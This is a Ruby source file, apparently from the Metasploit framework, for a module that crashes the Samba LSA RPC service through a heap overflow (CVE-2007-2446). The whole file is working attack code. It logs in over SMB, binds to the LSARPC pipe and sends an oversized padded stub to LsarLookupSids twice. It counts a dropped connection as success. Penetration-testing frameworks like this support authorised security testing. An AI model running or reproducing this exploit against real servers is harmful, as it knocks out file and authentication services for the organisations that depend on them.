79 lines
1.9 KiB
Ruby
79 lines
1.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::DCERPC
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include Msf::Exploit::Remote::SMB::Client
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Samba lsa_io_trans_names Heap Overflow',
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'Description' => %q{
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This module triggers a heap overflow in the LSA RPC service
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of the Samba daemon.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2007-2446'],
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['OSVDB', '34699'],
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]
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))
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register_options(
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[
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OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']),
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])
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end
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def run
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pipe = datastore['SMBPIPE'].downcase
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print_status("Connecting to the SMB service...")
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connect()
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smb_login()
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datastore['DCERPC::fake_bind_multi'] = false
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handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
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print_status("Binding to #{handle} ...")
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dcerpc_bind(handle)
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print_status("Bound to #{handle} ...")
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stub = lsa_open_policy(dcerpc)
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stub << NDR.long(0)
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stub << NDR.long(0)
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stub << NDR.long(1)
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stub << NDR.long(0x20004)
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stub << NDR.long(0x100)
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stub << ("X" * 16) * 0x100
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stub << NDR.long(1)
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stub << NDR.long(0)
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print_status("Calling the vulnerable function...")
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begin
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# LsarLookupSids
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dcerpc.call(0x0f, stub)
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rescue Rex::Proto::DCERPC::Exceptions::NoResponse, ::EOFError
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print_good('Server did not respond, this is expected')
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rescue => e
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if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
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print_good('Server disconnected, this is expected')
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else
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raise e
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end
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end
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dcerpc.call(0x0f, stub)
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disconnect
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end
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end
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